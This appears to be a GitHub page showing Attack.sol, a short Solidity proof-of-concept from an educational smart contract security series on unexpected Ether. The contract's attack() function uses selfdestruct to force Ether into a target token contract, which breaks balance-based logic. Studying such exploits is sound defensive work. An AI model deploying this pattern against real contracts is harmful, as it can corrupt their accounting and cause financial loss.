-
Notifications
You must be signed in to change notification settings - Fork 40
/
Copy pathAttack.sol
26 lines (19 loc) · 1.02 KB
/
Attack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0)
//-------------------------------------------------------------------------------------//
// Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet ([email protected]) //
//-------------------------------------------------------------------------------------//
// For more info, please refer to my article:
// - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985
// - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/
pragma solidity 0.8.17;
contract Attack {
address immutable moonToken;
constructor(address _moonToken) {
moonToken = _moonToken;
}
function attack() external payable {
require(msg.value != 0, "Require some Ether to attack");
address payable target = payable(moonToken);
selfdestruct(target);
}
}